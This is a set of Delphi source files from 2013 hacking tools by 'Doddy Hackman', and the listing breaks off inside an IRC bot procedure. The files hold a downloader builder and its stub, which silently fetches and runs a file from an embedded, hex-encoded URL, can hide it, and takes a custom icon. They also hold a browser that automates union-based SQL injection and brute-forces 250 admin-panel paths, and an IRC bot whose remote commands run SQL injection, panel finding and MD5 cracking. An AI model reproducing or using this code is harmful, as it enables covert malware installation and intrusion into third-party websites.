procedure TForm4.sButton2Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := sEdit1.Text;
  stubgenerado := 'tiny_down.exe';

  if (sRadioButton2.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (sCheckBox1.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := sComboBox1.Items[sComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
    '[name]' + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/stub_down.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, PChar(linea));
  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(sEdit3.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                + '/' + stubgenerado)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(sEdit3.Text)));
        EndUpdateResourceW(change, False);
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;
    except
      begin
        sStatusBar1.Panels[0].Text := '[-] Error';
        sStatusBar1.Update;
      end;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] Done ';
    sStatusBar1.Update;
  end;

  //

end;

procedure TForm4.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog1.FileName);
    sEdit3.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm4.sEdit2Click(Sender: TObject);
begin
  if not(sEdit1.Text = '') then
  begin
    sEdit2.Text := getfilename(sEdit1.Text);
  end;
end;

end.

// The End ?

// DH Downloader 0.5
// (C) Doddy Hackman 2013

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;


// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?

// DH Browser 0.2
// (C) Doddy Hackman 2013

unit dhbrowse;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
  sSkinManager;

type
  TForm1 = class(TForm)
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    Timer1: TTimer;
    Image1: TImage;

    sSkinManager1: TsSkinManager;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses programa;
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  total: integer;

begin

  total := 0;
  sProgressBar1.Min := 0;
  sProgressBar1.Max := 100;

  For i := 1 to 100 do
  begin

    Form1.Update;

    Sleep(1000);
    // Sleep(1);

    total := total + 10;

    sProgressBar1.Position := total;

    if (sProgressBar1.Position = 100) then
    begin
      Timer1.Enabled := False;
      Form1.Hide;
      Form2.Show;
      Abort;
    end;
  end;

end;

end.

// The End ?

// DH Browser 0.2
// (C) Doddy Hackman 2013
// Credits :
// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
// Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

unit programa;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
  sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
  ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;

type
  TForm2 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    sCheckBox1: TsCheckBox;
    sGroupBox3: TsGroupBox;
    sStatusBar1: TsStatusBar;
    WebBrowser1: TWebBrowser;
    sGroupBox4: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sGroupBox5: TsGroupBox;
    sButton4: TsButton;
    sLabel1: TsLabel;
    Image1: TImage;
    sMemo2: TsMemo;
    PopupMenu1: TPopupMenu;
    S1: TMenuItem;
    S2: TMenuItem;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    FindDialog1: TFindDialog;
    sProgressBar1: TsProgressBar;
    procedure sButton1Click(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure FindDialog1Find(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure WebBrowser1ProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    procedure WebBrowser1DownloadComplete(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.FindDialog1Find(Sender: TObject);

// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

var
  aca: PChar;
  aca2: PChar;
  acatoy: PChar;
  acatoy2: Word;

begin

  With Sender as TFindDialog do

  begin

    GetMem(aca2, Length(FindText) + 1);
    StrPCopy(aca2, FindText);

    acatoy2 := sMemo2.GetTextLen + 1;
    GetMem(aca, acatoy2);

    sMemo2.GetTextBuf(aca, acatoy2);

    acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
    acatoy := StrPos(acatoy, aca2);

    if not(acatoy = NIL) then
    begin
      sMemo2.SelStart := acatoy - aca;
      sMemo2.SelLength := Length(FindText);
    end;

    sMemo2.SetFocus;

  end;

end;

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm2.S1Click(Sender: TObject);
begin
  WebBrowser1.Visible := false;
  sMemo2.Visible := True;
end;

procedure TForm2.S2Click(Sender: TObject);
begin
  WebBrowser1.Visible := True;
  sMemo2.Visible := false;
end;

procedure TForm2.sButton1Click(Sender: TObject);

// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

var

  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  uno := navNoReadFromCache or navNoWriteToCache;
  dos := '';
  tres := '';

  if (sCheckBox1.Checked) then
  begin
    cabeceras := sMemo1.Text;
    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  end
  else
  begin
    cabeceras := '';
    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  end;
end;

procedure TForm2.sButton2Click(Sender: TObject);
var
  pass1: string;
  pass2: string;
  code: string;
  urltest: string;
  urlgen: string;
  full: string;
  codedos: string;
  i: Integer;

begin

  sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
  Form2.sStatusBar1.Update;

  pass1 := '+';
  pass2 := '--';

  urltest := 'concat(0x4b30425241,1,0x4b30425241)';

  sStatusBar1.Panels[0].Text := '[+] Checking ...';
  Form2.sStatusBar1.Update;

  code := IdHTTP1.Get
    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

  codedos := IdHTTP1.Get
    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);

  if not(code = codedos) then
  begin

    sStatusBar1.Panels[0].Text := '[+] Finding columns number';
    Form2.sStatusBar1.Update;

    urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
      'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
    urlgen := '1';
    for i := 2 to 36 do
    begin
      sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
      Form2.sStatusBar1.Update;
      urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
        + ',0x4b30425241)';
      urlgen := urlgen + ',' + IntToStr(i);
      code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
      PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
      PerlRegEx1.Subject := code;

      if PerlRegEx1.Match then
      begin

        urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
          'hackman', []);
        full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
          'union' + pass1 + 'select' + pass1 + urlgen;

        sEdit1.Text := full;
        Abort;

      end;
    end;
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

procedure TForm2.sButton3Click(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');
var
  IdHTTP: TIdHTTP;
  i: Integer;
  control: Integer;
begin

  control := 0;

  sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
  Form2.sStatusBar1.Update;

  IdHTTP := TIdHTTP.Create(nil);

  for i := Low(paginas) to High(paginas) do

    if (control = 1) then
    begin
      Abort;
    end
    else
    begin

      try

        sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
        Form2.sStatusBar1.Update;

        IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
        if IdHTTP.ResponseCode = 200 then
        begin

          sStatusBar1.Panels[0].Text := '[+] Done';
          Form2.sStatusBar1.Update;
          sEdit1.Text := sEdit1.Text + '/' + paginas[i];
          control := 1;
        end;
      except
        on E: EIdHttpProtocolException do
          ;
        on E: Exception do
          ;
      end;

    end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

procedure TForm2.sButton4Click(Sender: TObject);
begin
  FindDialog1.Execute;
end;

procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
var
  buscador: IHTMLElement;
begin

  sProgressBar1.Position := 0;

  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

  begin

    try
      begin

        sMemo2.Clear;

        buscador := (WebBrowser1.Document AS IHTMLDocument2).body;

        while not(buscador.parentElement = nil) do
        begin
          buscador := buscador.parentElement;
        end;
        sMemo2.Lines.Add(buscador.outerHTML);
      end;
    except
      // ??
    end;
  end;
end;

procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
  Progress, ProgressMax: Integer);
begin
  sProgressBar1.Max := ProgressMax;
  sProgressBar1.Position := Progress;
end;

end.

// The End ?

// ClapTrap IRC Bot 0.5
// (C) Doddy Hackman 2013

unit clap;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
  sGroupBox, sButton, sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses menu;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  total: integer;

begin

  total := 0;
  sProgressBar1.Min := 0;
  sProgressBar1.Max := 100;

  For i := 1 to 100 do
  begin

    Form1.Update;

    Sleep(1000);

    total := total + 10;

    sProgressBar1.Position := total;

    if (sProgressBar1.Position = 100) then
    begin
      Timer1.Enabled := False;
      Form1.Hide;
      Form2.Show;
      Abort;
    end;
  end;

end;

end.

// The End ?

// ClapTrap IRC Bot 0.5
// (C) Doddy Hackman 2013

unit menu;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
  sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
  IdMultipartFormData, IdHTTP;

type
  TForm2 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sEdit3: TsEdit;
    sEdit4: TsEdit;
    sButton1: TsButton;
    sButton2: TsButton;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    Image2: TImage;
    PerlRegEx1: TPerlRegEx;
    IdIRC1: TIdIRC;
    PerlRegEx2: TPerlRegEx;
    IdHTTP1: TIdHTTP;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);

    procedure FormCreate(Sender: TObject);

    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Application.Terminate;
end;

procedure TForm2.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cappuccino';
  sSkinManager1.Active := True;
end;

procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);

var
  rta: string;
  z: integer;
  par: TIdMultiPartFormDataStream;
  target: string;

var
  IdHTTP: TIdHTTP;
  i: integer;

var
  url: string;
  urldos: string;
  code: string;
  codedos: string;
  pass1: string;
  pass2: string;
  urltest: string;
  urlgen: string;

var
  hextest: string;
  web1: string;
  web2: string;
  web3: string;
  full: string;

const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');

begin
  if ANicknameFrom = sEdit4.Text then
  begin

    // Help

    PerlRegEx1.Regex := '!help';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin
      IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
      IdIRC1.Say(ANicknameFrom, '!locateip <target>');
      IdIRC1.Say(ANicknameFrom, '!panel <target>');
      IdIRC1.Say(ANicknameFrom, '!sqli <target>');
      IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
      IdIRC1.Say(ANicknameFrom, '!help <?>');
      IdIRC1.Say(ANicknameFrom, 'Good Bye');
    end;

    //

    // LocateIP

    PerlRegEx1.Regex := '!locateip (.*)';
    PerlRegEx1.Subject := AMessage;

    if PerlRegEx1.Match then
    begin

      sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
      Form2.sStatusBar1.Update;

      sMemo1.Lines.Add('[+] LocateIP : Working');

      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');

      par := TIdMultiPartFormDataStream.Create;
      par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);

      rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

      PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
      PerlRegEx2.Subject := rta;

      if PerlRegEx2.Match then
      begin
        target := PerlRegEx2.SubExpressions[2];

        rta := IdHTTP1.Get(
          'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
            target);

        PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
        PerlRegEx2.Subject := rta;

        if PerlRegEx2.Match then
        begin

          IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
            );

        end
        else
        begin
          IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
        end;

        PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
